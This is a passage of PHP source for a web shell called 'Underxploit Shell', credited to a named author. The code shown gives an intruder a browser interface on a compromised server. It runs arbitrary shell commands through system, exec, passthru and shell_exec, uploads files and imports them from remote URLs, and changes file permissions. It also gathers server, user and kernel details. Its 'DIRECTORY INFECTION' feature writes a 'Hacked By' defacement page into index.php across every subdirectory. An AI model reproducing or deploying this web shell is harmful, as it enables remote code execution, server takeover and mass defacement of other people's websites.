  916. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></th>
  917. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>
  918.     <div class='coL-option top'><br /><br>
  919.     <center>
  920.         <i class='zmdi zmdi-wrench zmdi-hc-fw zmdi-hc-4x'></i></center><br><br />
  921. <form action='?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "' style='margin:0px' method='post'>
  922. <table cellspacing='0'>
  923.     <td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'>
  924. <input type='number' value='" . substr(sprintf("%o", fileperms($_UNDERXPLOIT['file'])) , -4) . "' name='perm' style='width:100%' id='decoct'></td><td style='width:20%'>
  925.     <button id='chcrot' class='btn-exe' onclick='chmod(); return false'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table>
  926.     </form></div></div>";
  927. print '<script type="text/javascript">function chmod(){
  928. if(document.getElementById("decoct").value == ""){'; s('Form do not leave empty');
  929.     print 'document.getElementById("decoct").focus();
  930.       return false;
  931.     } document.getElementById("chcrot").submit();
  932. } </script>';
  933. break;
  934.  
  935.     case 'change': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHANGE PASSWORD</td></table></div>';
  936. function xs($file) {
  937.         return file_get_contents($file);
  938.     }
  939.  
  940. function chipt($plain) {
  941.         return md5($plain);
  942.     }
  943.  
  944. function changepass($plain) {
  945.         $npass = chipt($plain);
  946.         $npass = "\$pass = \"" . $npass . "\";";
  947.         $con = xs($_SERVER['SCRIPT_FILENAME']);
  948.         $con = preg_replace("/\\\$pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is", $npass, $con);
  949.         return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
  950.     }
  951.  
  952. switch (true) {
  953.     case ($_UNDERXPLOIT['newpass']): switch (true) {
  954.     case (chipt($_UNDERXPLOIT['newpass']) == $pass): bacot('Password is the same as at this time');
  955. break;
  956.     case (changepass($_UNDERXPLOIT['newpass'])): mtr('?' . x5 . $dir . '&' . x7 . 'logout');
  957.         bacot('Password changed');
  958. break;
  959.     default: bacot('Unable to change password');
  960.         }
  961.     }
  962. print '<script type="text/javascript">
  963. function validate() {
  964.             var a = document.getElementById("newpass").value;
  965.             var b = document.getElementById("confirm").value;
  966.             if(a!=b) {'; s('Password do not match');
  967.         print 'return false;
  968.     }
  969. } </script>';
  970. print "<div class='coL-option top'>
  971.     <form method='post' onSubmit='return validate();' action='?" . x7 . "change&" . x5 . $dir . "'>
  972.         <table style='width:100%'>
  973.             <td class='tup' style='width:120px'>Password :</td>
  974.             <td style='width:75%'><input type='password' id='newpass' name='newpass' style='width:100%'></td>
  975.         <tr>
  976.             <td class='tup' style='width:120px'>Confirm :</td>
  977.             <td style='width:75%'><input type='password' id='confirm' name='confirm' style='width:100%'></td>
  978.         <tr>
  979.              <td style='width:120px'></td>
  980.              <td style='width:75%'>
  981.            <button type='submit' name='cps' class='btn-exe' onclick='saveForm();return false;' style='width:100px' id='bck'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td>
  982.         </table>
  983.     </form>
  984. </div></div>";
  985. print '<script type="text/javascript">function saveForm(){
  986. if(document.getElementById("newpass").value == ""){';
  987.     s('Enter new password');
  988.         print 'document.getElementById("newpass").focus();
  989.       return false;
  990.     }
  991. if(document.getElementById("confirm").value == ""){';
  992.     s('Confirm your password');
  993.         print 'return false;
  994.     }
  995.     document.getElementById("bck").submit();
  996. }
  997. </script>';
  998. break;
  999.  
  1000.  
  1001.     case 'kill': switch (true) {
  1002.     case (file_exists("underxploit.php")): unlink("underxploit.php"); unlink(__FILE__); bacot('Good Bye Baby :\')');
  1003.     mtr('http://underxploit.blogspot.com');
  1004.     }
  1005. break;
  1006.  
  1007. case 'renadir': $c = $_UNDERXPLOIT['e'];
  1008. switch (true) {
  1009.     case ($_UNDERXPLOIT['e']): $e = rename($dir, "" . dirname($dir) . "/" . htmlspecialchars($_UNDERXPLOIT['e']) . "");
  1010. switch (true) {
  1011.     case ($e): print '<script type="text/javascript">c("?' . x5 . dirname($dir) . '");</script>';
  1012. break;
  1013.     default: bacot('Permission denied');
  1014.     }
  1015. }
  1016.     print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME DIRECTORY</td></table></div>';
  1017.     print "<div class='coL-option top'><br /><br /><center><i class='zmdi zmdi-folder-outline zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br />";
  1018.     print "<form action='?" . x7 . "renadir&" . x5 . $dir . "' style='margin:0px' method='post'><table cellspacing='0'><td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='text' value='" . basename($dir) . "' name='e' id='vrn'></td><td style='width:20%'><button type='submit' class='btn-exe' onclick='rnm(); return false' id='rn'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table></form></div></div>";
  1019. print '<script type="text/javascript">function rnm(){
  1020. if(document.getElementById("vrn").value == ""){'; s('Form do not leave empty');
  1021.     print 'document.getElementById("vrn").focus();
  1022.       return false;
  1023.     } document.getElementById("rn").submit();
  1024. } </script>';
  1025. break;
  1026.  
  1027. case 'chmdir': switch (true) {
  1028.     case ($_UNDERXPLOIT['perm']):
  1029. switch (true) {
  1030.     case (chmod($dir, octdec($_UNDERXPLOIT['perm']))): mtr("?" . x7 . "chmdir&" . x5 . $dir);
  1031.         bacot('Directory changed mode to '.decoct(octdec($_UNDERXPLOIT['perm'])));
  1032. break;
  1033.     default: bacot('Permission denied');
  1034.     }
  1035. }
  1036.     print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHMOD DIRECTORY </td></table></div>';
  1037.     print "<div class='coL-option top'><br /><br /><center><i class='zmdi zmdi-wrench zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br />";
  1038.     print "<form action='?" . x7 . "chmdir&" . x5 . $dir . "' style='margin:0px' method='post'><table cellspacing='0'><td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='number' value='" . substr(sprintf("%o", fileperms($dir)) , -4)."' name='perm' id='decoct'></td><td style='width:20%'><button type='submit' id='chcrot' onclick='chmod(); return false' class='btn-exe'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table></form></div></div>";
  1039. print '<script type="text/javascript">function chmod(){
  1040. if(document.getElementById("decoct").value == ""){'; s('Form do not leave empty');
  1041.     print 'document.getElementById("decoct").focus();
  1042.       return false;
  1043.     } document.getElementById("chcrot").submit();
  1044. } </script>';
  1045. break;
  1046.  
  1047. case 'about': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">ABOUT ME</td></table></div>';
  1048.         print '<div class="coL-option" style="padding:7px"><br /><br />
  1049.     <center><i class="zmdi zmdi-shield-check zmdi-hc-4x animated infinite rubberBand"></i></center><br />
  1050.     <center>
  1051.         <font size="4px" style="shadow:2px 2px 0px #fff">UNDERXPLOIT SHELL</font>
  1052.             <br /><i class="zmdi zmdi-globe-lock zmdi-hc-fw"></i><span class="label-success"> http://' . $_SERVER['HTTP_HOST'] . '</span></center><br /><br />
  1053.     </div>
  1054.  
  1055. <div class="coL-panel top">
  1056.     <table>
  1057.         <td class="td-panel">
  1058.             <center>
  1059.                     <div class="loader"></div>
  1060.                 </center>
  1061.             </td>
  1062.         <td class="td-panel-right">CREDITS</td>
  1063.     </table>
  1064. </div>
  1065. <div id="paksa"><table class="table-info">
  1066.     <tr class="ex-hov">
  1067.         <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Name</td>
  1068.         <td class="td-info">: Underxploit Shell</td>
  1069.     <tr class="ex-hov">
  1070.         <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Version</td>
  1071.         <td class="td-info">: 0.1.4 [ Dark ]</td>
  1072.     <tr class="ex-hov">
  1073.          <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Author</td>
  1074.          <td class="td-info">: Wildan Izzudin</td>
  1075.     <tr class="ex-hov">
  1076.           <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Email</td>
  1077.           <td class="td-info break">: <a class="a" href="mailto:tokeichun69@gmail.com">tokeichun69@gmail.com</a></td>
  1078.     <tr class="ex-hov">
  1079.            <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Facebook</td>
  1080.            <td class="td-info break">: <a class="a" href="http://www.facebook.com/WILDAN.OFFICIAL">@WILDAN.OFFICIAL</a></td>
  1081.     <tr class="ex-hov">
  1082.             <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Blog</td>
  1083.             <td class="td-info">: <a class="a" href="http://underxploit.blogspot.co.id">Underxploit Reborn</a></td>
  1084.     </table>
  1085. </div>
  1086. <div class="coL-option">
  1087.     <center><br />If there is any suggestion or feedback please contact me through the contact above.<br /><br />
  1088.         <center><br />&mdash; Thank You &mdash;</center>
  1089.     </div>
  1090. </div>';
  1091. break;
  1092.  
  1093.     case 'upload': print '<div class="coL-panel"><table>
  1094.         <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE UPLOAD</td></table></div>';
  1095.  
  1096. switch (true) {
  1097.     case ($_REQUEST['upload']): switch (true) {
  1098.     case ($_UNDERXPLOIT['upload']): $ff = count($_FILES['file']['name']);
  1099.         for($i = 0; $i<$ff; $i++) {
  1100.             $drp = $_FILES['file']['name'][$i];
  1101. switch (true) {
  1102.     case (empty($drp)): continue 2;
  1103. break;
  1104. }
  1105.  
  1106. if (isset($_REQUEST['ufile'][$i])) {
  1107.     $ufile = $_REQUEST['ufile'][$i];
  1108. switch (true) {
  1109.     case (empty($ufile)): $cx = $_FILES['file']['name'][$i];
  1110. break;
  1111.     default: $cx = $ufile;
  1112. }
  1113.  
  1114. switch (true) {
  1115.     case (@copy($_FILES['file']['tmp_name'][$i], $dir . '/' . $cx)): bacot('File uploaded succesfully');
  1116. break;
  1117.     default: bacot('Failed to upload file');
  1118.                }
  1119.             }
  1120.         } break;
  1121.     } break;
  1122. }
  1123.  
  1124.     print '<script type="text/javascript">
  1125. $(document).ready(function() {
  1126.     var wr1 = $(".input_1");
  1127.     var add1 = $(".add_1");
  1128.     var x1 = 1;
  1129.  
  1130. $(add1).click(function(e) {
  1131.         e.preventDefault();
  1132.             if(x1 < 5) {
  1133.                 x1++;
  1134.             $(wr1).append(\'<table><td class="tup" style="width:20%">File :</td><td style="width:80%"><input type="file" name="file[]"></td><tr><td class="tup" style="width:20%">Name :</td><td style="width:80%"><input name="ufile[]" type="text" placeholder="( Optional )" value="" /></td></table>\');
  1135.         } else {
  1136.             $(".add_1").hide();
  1137.         }
  1138.     });
  1139. $(wr1).on("click",".remove_field", function(e) {
  1140.         e.preventDefault(); $(this).parent(\'div\').remove(); x1--;
  1141.     })
  1142. });</script>
  1143.         <div class="coL-option"><div class="wr"><span class="label-success"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></span> From Device : <button class="lawb add_1" style="width:50px;float:right">Add </button></div><hr>
  1144.     <form enctype="multipart/form-data" action="?' . x7 . 'upload&' . x5 . $dir . '" method="POST" style="margin:0px">
  1145.   <div class="input_1">      
  1146. <table>
  1147.             <td class="tup" style="width:20%">File :</td>
  1148.             <td style="width:80%">
  1149.                 <input type="file" name="file[]"></td>
  1150.         <tr>
  1151.             <td class="tup" style="width:20%">Name :</td>
  1152.             <td style="width:80%"><input name="ufile[]" type="text" placeholder="( Optional )" value="" /></td>
  1153.  </table>
  1154.         </div>                
  1155. <table><td style="width:20%"></td>
  1156.                 <td style="width:80%"><input type="submit" name="upload" style="width:100px" value="Upload" class="btn-exe" />
  1157.             </td>
  1158.         </table>
  1159.     </form>
  1160. </div>';
  1161.  
  1162. if (isset($_UNDERXPLOIT['submit'])) {
  1163.     $url = count($_UNDERXPLOIT['url']);
  1164.         for($i = 0; $i < $url; $i++){
  1165.     $drq = $_UNDERXPLOIT['url'][$i];
  1166.  
  1167. switch (true) {
  1168.     case (empty($drq)): continue 2;
  1169. }
  1170.  
  1171. switch (true) {
  1172.     case(empty($_UNDERXPLOIT['uname'][$i])): $ufc = basename($drq);
  1173. break;
  1174.     default: $ufc = $_UNDERXPLOIT['uname'][$i];
  1175. }
  1176. switch (true) {
  1177.     case (op($ufc, $drq)): bacot('File imported');
  1178. break;
  1179.     default: bacot('Failed to import file');
  1180.         }
  1181.     }
  1182. }
  1183. print '<script type="text/javascript">
  1184. $(document).ready(function() {
  1185.     var wr2 = $(".input_2");
  1186.     var add2 = $(".add_2");
  1187.     var x2 = 1;
  1188.  
  1189. $(add2).click(function(e) {
  1190.         e.preventDefault();
  1191.             if(x2 < 5) {
  1192.                 x2++;
  1193.             $(wr2).append(\'<table style="width:100%"><td class="tup" style="width:20%">Link :</td><td style="width:80%"><input type="text" name="url[]" placeholder="https://pastebin.com/raw/M4bJJtBD" style="width:100%"></td><tr><td class="tup" style="width:20%">Name :</td><td style="width:80%"><input type="text" name="uname[]" style="width:100%" placeholder="( Optional )"></td></table>\');
  1194.         } else {
  1195.             $(".add_2").hide();
  1196.         }
  1197. });
  1198.     $(wr2).on("click",".remove_field", function(e) {
  1199.         e.preventDefault(); $(this).parent(\'div\').remove(); x2--;
  1200.     })
  1201. });</script>
  1202. <div class="coL-option top"><div class="wr"><span class="label-success"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></span> From Internet (Import) :  <button class="lawb add_2" style="width:50px;float:right">Add </button></div>
  1203.     <hr>
  1204. <form action="?' . x7 . 'upload&' . x5 . $dir . '" method="POST">
  1205.     <div class="input_2">
  1206.         <table style="width:100%">
  1207.             <td class="tup" style="width:20%">Link :</td>
  1208.             <td style="width:80%"><input type="text" name="url[]" placeholder="https://pastebin.com/raw/M4bJJtBD" style="width:100%"></td>
  1209.         <tr>
  1210.             <td class="tup" style="width:20%">Name :</td>
  1211.             <td style="width:80%"><input type="text" name="uname[]" style="width:100%" placeholder="( Optional )"></td>
  1212.      </table>
  1213. </div>
  1214.      <table>
  1215.             <td style="width:20%"></td>
  1216.             <td style="width:80%"><input type="submit" name="submit" style="width:100px" value="Upload" class="btn-exe"></td>
  1217.      </table>
  1218.         </form>
  1219.     </div>
  1220. </div>';
  1221. break;
  1222.  
  1223. case 'system':
  1224.     function exe($corey) {
  1225. switch (true) {
  1226.     case (function_exists('system')):
  1227.         @ob_start();
  1228.         @system($corey);
  1229.             $corex = @ob_get_contents();
  1230.         @ob_end_clean();
  1231.             return $corex;
  1232. break;
  1233.     case (function_exists('exec')):
  1234.         @exec($corey, $values);
  1235.             $corex = "";
  1236.     foreach($values as $value) {
  1237.             $corex.= $result;
  1238.         } return $corex;
  1239. break;
  1240.     case (function_exists('passthru')):
  1241.         @ob_start();
  1242.         @passthru($corey);
  1243.             $corex = @ob_get_contents();
  1244.         @ob_end_clean();
  1245.             return $corex;
  1246. break;
  1247.     case (function_exists('shell_exec')):
  1248.             $corex = @shell_exec($corey);
  1249.             return $corex;
  1250.     }
  1251. }
  1252.  
  1253.     function disk($dz) {
  1254. switch (true) {
  1255.     case ($dz >= 1073741824): return sprintf('%1.2f', $dz / 1073741824) . ' GB';
  1256. break;
  1257.     case ($dz >= 1048576): return sprintf('%1.2f', $dz / 1048576) . ' MB';
  1258. break;
  1259.     case ($dz >= 1024): return sprintf('%1.2f', $dz / 1024) . ' KB';
  1260. break;
  1261.     default: return $dz . ' B';
  1262.     }
  1263. }
  1264.  
  1265.     function fuck($b_ms, $c_ms, $d_ms) {
  1266.         if (strpos($b_ms, $c_ms) === FALSE) return FALSE;
  1267.         if (strpos($b_ms, $d_ms) === FALSE) return FALSE;
  1268.         $a_ms = strpos($b_ms, $c_ms) + strlen($c_ms);
  1269.         $e_ms = strpos($b_ms, $d_ms, $a_ms);
  1270.         $f_ms = substr($b_ms, $a_ms, $e_ms - $a_ms);
  1271.         return $f_ms;
  1272.     }
  1273.  
  1274. switch (true) {
  1275.     case (get_magic_quotes_gpc()): function nom($pom) {
  1276.         return is_array($pom) ? array_map('nom', $pom) : stripslashes($pom);
  1277.     }
  1278.         $_UNDERXPLOIT = nom($_UNDERXPLOIT);
  1279. }
  1280.  
  1281.         $safemode = (@ini_get(strtolower("safe_mode")) == 'on') ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1282.         $disablefunc = @ini_get("disable_functions");
  1283.         $mysql = (function_exists('mysql_connect')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1284.         $curl = (function_exists('curl_version')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>";
  1285.         $wget = (exe('wget --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1286.         $perl = (exe('perl --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>";
  1287.         $python = (exe('python --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1288.         $disfunc = (!empty($disablefunc)) ? "<span class='label-danger'>" . $disablefunc . "</span>" : "<span class='label-success'>NONE</span>";
  1289.    
  1290. switch (true) {
  1291.     case (!function_exists('posix_getegid')):
  1292.         $_cox = @get_current_user();
  1293.         $_cid = @getmyuid();
  1294.         $_ccr = @getmygid();
  1295.         $_cum = "?";
  1296. break;
  1297.     default:
  1298.         $_cid = @posix_getpwuid(posix_geteuid());
  1299.         $_ccr = @posix_getgrgid(posix_getegid());
  1300.         $_cox = $_cid['name'];
  1301.         $_cid = $_cid['uid'];
  1302.         $_cum = $_ccr['name'];
  1303.         $_ccr = $_ccr['gid'];
  1304. }
  1305.  
  1306. print '<div class="coL-panel">
  1307.    <table>
  1308.         <td class="td-panel">
  1309.             <center>
  1310.                 <div class="loader"></div>
  1311.             </center>
  1312.         </td>
  1313.         <td class="td-panel-right">SYSTEM INFORMATION</td>
  1314.     </table>
  1315. </div>';
  1316.  
  1317. print "<div id='paksa'><table width=100% class='table-info' cellspacing=0>
  1318.     <th class=th-info style=width:120px>
  1319.         <center>Component</center>
  1320.     </th>
  1321.     <th class=th-info>
  1322.         <center>Arrow</center>
  1323.     </th>
  1324.     <th class=th-info break>
  1325.         <center>Result</center>
  1326.     </th>
  1327. </tr>
  1328.    
  1329. <tr class='ex-hov'>
  1330.     <td class='td-info' style='width:130px'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Server </td>
  1331.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1332.     <td class='td-info'> " . $_SERVER['SERVER_SOFTWARE'] . "</td>
  1333. </tr>
  1334.  
  1335. <tr class='ex-hov'>
  1336.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Username
  1337.     </td>
  1338.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1339.     <td class='td-info'> " . $_cox . " [" . $_cid . "]</td>
  1340. </tr>
  1341.  
  1342. <tr class='ex-hov'>
  1343.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Group
  1344.     </td>
  1345.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1346.     <td class='td-info'>" . $_cum . " [" . $_ccr . "]</td>
  1347. </tr>
  1348.  
  1349. <tr class='ex-hov'>
  1350.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Server IP </td>
  1351.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1352.     <td class='td-info'>" . gethostbyname($_SERVER['HTTP_HOST']) . "</td>
  1353. </tr>
  1354.  
  1355. <tr class='ex-hov'>
  1356.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Your IP </td>
  1357.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1358.     <td class='td-info'> " . $_SERVER['REMOTE_ADDR'] . "</td>
  1359. </tr>
  1360.  
  1361. <tr class='ex-hov'>
  1362.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  PHP Version</td>
  1363.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1364.     <td class='td-info'> " . @phpversion() . "</td>
  1365. </tr>
  1366.  
  1367. <tr class='ex-hov'>
  1368.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Disk Space</td>
  1369.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1370.     <td class='td-info'>[" . disk(disk_free_space(getcwd())) . "] / [" . disk(disk_total_space(getcwd())) . "]</td>
  1371. </tr>
  1372.  
  1373. <tr class='ex-hov'>
  1374.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Safe Mode</td>
  1375.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1376.     <td class='td-info'> $safemode</td>
  1377. </tr>
  1378.  
  1379. <tr class='ex-hov'>
  1380.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  MySQL</td>
  1381.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1382.     <td class='td-info'>$mysql</td>
  1383. </tr>
  1384.  
  1385. <tr class='ex-hov'>
  1386.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Perl
  1387.     </td>
  1388.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1389.     <td class='td-info'> $perl </td>
  1390. </tr>
  1391.  
  1392. <tr class='ex-hov'>
  1393.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Python</td>
  1394.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1395.     <td class='td-info'>$python</td>
  1396. </tr>
  1397.  
  1398. <tr class='ex-hov'>
  1399.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  WGET</td>
  1400.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1401.     <td class='td-info'>$wget</td>
  1402. </tr>
  1403.  
  1404. <tr class='ex-hov'>
  1405.     <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  CURL</td>
  1406.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1407.     <td class='td-info'>$curl</td>
  1408. </tr>";
  1409.    
  1410. switch (true) {
  1411.     case (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on"):
  1412.         print "<tr class='ex-hov'>
  1413.     <td align='left' class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Magic Quotes </td>
  1414.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1415.     <td><span class='label label-success'>ON</span></tr>";
  1416. break;
  1417.     default:
  1418.         print "<tr class='ex-hov'>
  1419.     <td align='left' class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Magic Quotes </td>
  1420.     <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1421.     <td class='td-info'><span class='label label-danger'>OFF</span></td>
  1422. </tr>";
  1423. }
  1424.  
  1425. print '</table></div>
  1426. <div class="coL-panel top">
  1427.     <table>
  1428.         <td class="td-panel">
  1429.             <center>
  1430.                 <div class="loader"></div>
  1431.             </center>
  1432.         </td>
  1433.         <td class="td-panel-right">KERNEL</td>
  1434.     </table>
  1435. </div>';
  1436.  
  1437. print "<div class='coL-option' style='margin-bottom:3px;padding:7px'>" . php_uname() . "</div>";
  1438. print '<div class="coL-panel top">
  1439.     <table>
  1440.         <td class="td-panel">
  1441.             <center>
  1442.                 <div class="loader"></div>
  1443.             </center>
  1444.         </td>
  1445.         <td class="td-panel-right">DISABLE FUNCTION</td>
  1446.     </table>
  1447. </div>';
  1448.  
  1449. print "<div class='coL-option wrap break' style='padding:7px'>" . $disfunc . "</div>
  1450. </div>";
  1451. break;
  1452.  
  1453.     case 'infection':
  1454.         print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">DIRECTORY INFECTION</td></table></div>';
  1455.         print "<form action='?" . x7 . "infection&". x5.$dir. "' method='post' style='padding:0;margin:0'>";
  1456.         print '<div class="coL-option">';
  1457.         print "<table cellspacing='0' cellpadding='3'><td align='left' style='padding:7px;width:60px'>
  1458. Root :</td><td><input type='text' name='base_dir' value='".getcwd()."'></td></tr>";
  1459.         print "<tr><td align='left' style='padding:7px;width:60px'>File :</td><td> <input type='text' name='file_name' value='index.php' style='width:100%' placeholder=''></td></tr></table>";
  1460.         print "</div>";
  1461.  
  1462. if (isset ($_UNDERXPLOIT['base_dir'])) {        
  1463. switch (true) {
  1464.     case (!file_exists ($_UNDERXPLOIT['base_dir'])) : bacot('Destination not found');
  1465. }
  1466.         @chdir ($_UNDERXPLOIT['base_dir']) or die ('jembut');
  1467.  
  1468.         $files = @scandir ($_UNDERXPLOIT['base_dir']) or die ("Oh Shit !!<br>");
  1469.         foreach ($files as $file):
  1470.                 if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  1471.                 {
  1472.                         $index = getcwd ()."/".$file."/".$_UNDERXPLOIT['file_name'];
  1473.                         if (file_put_contents ($index, $_UNDERXPLOIT['index']))
  1474.                                 print "
  1475.                 <div class='coL-option break wrap' style='margin-top:2px;margin-bottom:2px;font-size:14px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span>  $index </span></div>"; }
  1476.         endforeach;
  1477.     } else {
  1478.         print "<div id='paksa'><textarea name='index' class='lined'># Hacked By Wildan Izzudin !!</textarea>";
  1479. print '<script type="text/javascript">
  1480. $(function() {
  1481.     $(".lined").linedtextarea({selectedLine: 1});
  1482. }); </script>';
  1483.     print "<input type='submit' value='INFECT' class='btn-exe' style='width:100%;margin-top:3px'></div>";
  1484. }
  1485. print "</form></div>";
  1486. break;
  1487.  
  1488.     case 'multihash':
  1489. echo('<div class="coL-panel"><table>
  1490. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE HASH</td></table></div>');
  1491. if($_UNDERXPLOIT['encrypt']) {
  1492.     switch($_UNDERXPLOIT['id']) {
  1493.         case '1':
  1494. if(md5($_UNDERXPLOIT['text'])) {
  1495. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1496. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Md5 </td><td class='break'> : ".md5($_UNDERXPLOIT['text'])."</td></table></div>"); } else {
  1497.     error('Permission Denied !!');
  1498.     }
  1499. break;
  1500. case '2':
  1501. if(crc32($_UNDERXPLOIT['text'])) {
  1502. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1503. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Crc32 </td><td class='break'> : ".crc32($_UNDERXPLOIT['text'])."</td></table></div>"); } else {
  1504.     error('Permission Denied !!');
  1505.     }
  1506. break;
  1507. case '3':
  1508. if(sha1($_UNDERXPLOIT['text'])) {
  1509. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1510. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Sha1 </td><td class='break'> : ".sha1($_UNDERXPLOIT['text'])."</td></table></div>"); } else {
  1511.     error('Permission Denied !!');
  1512.     }
  1513. break;
  1514. case '4':
  1515. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1516. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> String </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr>
  1517. <td class='td-md5'
